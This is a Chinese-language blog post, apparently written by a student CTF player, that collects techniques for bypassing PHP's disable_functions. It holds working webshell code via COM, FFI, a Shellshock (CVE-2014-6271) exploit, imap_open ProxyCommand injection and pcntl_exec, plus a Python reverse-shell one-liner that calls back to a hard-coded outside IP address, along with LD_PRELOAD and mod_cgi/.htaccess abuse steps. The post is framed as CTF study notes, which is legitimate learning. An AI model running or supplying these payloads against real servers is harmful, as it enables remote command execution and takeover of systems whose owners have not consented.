Bypass disable_function

发布于 2024-03-15  17 次阅读


reference

https://xz.aliyun.com/t/10057#toc-22

https://www.freebuf.com/articles/network/263540.html

利用其他命令执行函数

exec()
shell_exec()
passthru()
system()
proc_oepn

利用Windows组件COM绕过

  • 查看com.allow_dcom是否开启,默认为off

需要设置为true或者1才可以进行绕过从而rce

创建一个COM对象,通过调用COM对象的exec替我们执行命令

<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
    $command = $_GET['cmd'];
    $wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
    $exec = $wshit->exec("cmd /c".$command);
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;
}
elseif($wsh == 'application') {
    $command = $_GET['cmd'];
    $wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
    $exec = $wshit->ShellExecute("cmd","/c ".$command);
} 
else {
  echo(0);
}
?>
image.png

利用Linux环境变量LD_PRELOAD

原理简介:
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的

看完原理,很容易想到需要满足以下条件:

  • 肯定要能够上传自己的恶意.so文件
  • 必须要可控LD_PRELOAD的路径值,比如putenv()函数
  • 利用某个函数去触发该动态链接库,比如mail()、imap_mail()、mb_send_mail()和error_log()函数(因为新进程启动才能加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行)

一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),新进程 a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

借鉴于yangyangwithgnu大佬的攻击脚本,提供了以下的解决方式

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

该项目中存在以下文件

image.png

可以看到一个php文件是当作webshell的,对于bypass_disablefunc.php,权限上传到web目录的直接访问,无权限的话可以传到tmp目录后用include等函数来包含,并且需要用 GET 方法提供三个参数:

cmd 参数:待执行的系统命令,如 id 命令。

outpath 参数:保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。

sopath 参数:指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。

bypass_disablefunc_x64.so或bypass_disablefunc_x86.so:执行命令的共享对象文件,分为64位的和32位的。

bypass_disablefunc.c:用来编译生成上面的共享对象文件。

接下来说说操作步骤:

  1. 首先上传webshell文件和x64.so文件到靶机服务器中(文件目录必须要有上传权限)
  2. 然后将bypass_disablefunc.php包含进来并使用GET方法提供所需的三个参数:
  3. 构造payload,rce

利用bash shellshock破壳漏洞(CVE-2014-6271)

利用条件

php<5.6.2  Bash<=4.3

Linux 操作系统

`putenv()`、`mail()`或`error_log()`函数可用

目标系统的`/bin/bash`存在`CVE-2014-6271`漏洞

`/bin/sh -> /bin/bash`sh 默认的 shell 是 bash

(什么gobar远古漏洞,基本没啥可用性)

原理

Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

简单测试是否存在破壳漏洞:
命令行输入env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果输出了vulnerable,则说明存在bash破壳漏洞,显然我的kali是不存在这个漏洞的

image.png

附一张别人的图

image.png

攻击exp

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   //mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
   error_log('a',1);
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>

然后选择具有上传权限的目录上传exp

回到题目包含攻击exp即可

最后rce

利用PHP7.4 FFI绕过

copy

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。
当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。
具体请参考Foreign Function Interface

FFI(foreign funtion interface),顾名思义,外部函数调用

因为php解释器底层实现是由c实现的,通过这里调用c函数的system从而造成任意代码执行漏洞

利用条件

php.ini配置中的FFI.enable设置需要为true

payload

<?php
$cmd=$_GET['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/SD");       //由GET传参的任意代码执行
echo file_get_contents("/tmp/SD");
@unlink("/tmp/SD");
?>

利用imap_open()绕过

利用条件

需要安装iamp扩展,命令行输入:apt-get install php-imap
在php.ini中开启imap.enable_insecure_rsh选项为On;重启服务

原理

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

攻击exp

<?php 
error_reporting(0); 
if (!function_exists('imap_open')) { 
die("no imap_open function!"); 
} 
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . "|base64t-d|sh}"; 
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . '|base64$IFS$()-d|sh}'; 
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error()); 
sleep(5); 
echo file_get_contents("/tmp/cmd_result"); 
?>

利用pcntcl_exec()绕过

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序。

利用条件

PHP安装并启用了pcntl插件

攻击

利用pcntl_exec()执行test.sh:

<?php
if(function_exists('pcntl_exec')) {
   pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
       echo 'pcntl extension is not support!';
}
?>

由于pcntl_exec()是一个没有回显的命令执行函数,通常配合python结合反弹shell到自己的服务器上接收数据

<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

其中比赛比如第四届蓝帽杯决赛就有相关利用

https://whoamianony.top/2020/12/21/CTF%E6%AF%94%E8%B5%9B%E8%AE%B0%E5%BD%95/%E7%AC%AC%E5%9B%9B%E5%B1%8A%E2%80%9C%E8%93%9D%E5%B8%BD%E6%9D%AF%E2%80%9D%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%E5%86%B3%E8%B5%9BWriteUp/#php

利用ImageMagick漏洞(CVE-2016-3714)

见小组wiki+p神文献+复现(略)

利用Apache Mod CGI

利用条件

Linux 操作系统

Apache + PHP (apache 使用 apache_mod_php)

Apache 开启了`cgi`、`rewrite`

Web 目录给了`AllowOverride`权限

当前目录可写

利用原理

(copied from https://www.freebuf.com/articles/network/263540.html)

早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展,逐渐出现了动态技术,但是Web服务器并不能够直接运行动态脚本,为了解决Web服务器与外部应用程序(CGI程序)之间数据互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为CGI是Web服务器和运行在其上的应用程序进行“交流”的一种约定。

当遇到动态脚本请求时,Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序,运行外部C程序或Perl、PHP脚本等,也就是将动态脚本交给CGI程序来处理。启动CGI程序需要一个过程,如读取配置文件、加载扩展等。当CGI程序启动后会去解析动态脚本,然后将结果返回给Web服务器,最后由Web服务器将结果返回给客户端,之前Fork出来的进程也随之关闭。这样,每次用户请求动态脚本,Web服务器都要重新Fork创建一个新进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成后进程随之关闭,其效率是非常低下的。

而对于Mod CGI,Web服务器可以内置Perl解释器或PHP解释器。 也就是说将这些解释器做成模块的方式,Web服务器会在启动的时候就启动这些解释器。 当有新的动态请求进来时,Web服务器就是自己解析这些动态脚本,省得重新Fork一个进程,效率提高了。

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

Apache在配置开启CGI后可以用ScriptAlias指令指定一个目录,指定的目录下面便可以存放可执行的CGI程序。若是想临时允许一个目录可以执行CGI程序并且使得服务器将自定义的后缀解析为CGI程序执行,则可以在目的目录下使用htaccess文件进行配置,如下:

Options +ExecCGI  
AddHandler cgi-script .xxx

这样便会将当前目录下的所有的.xxx文件当做CGI程序执行了。

由于CGI程序可以执行命令,那我们可以利用CGI来执行系统命令绕过disable_functions。

大一在读菜鸡ctfer的成长记录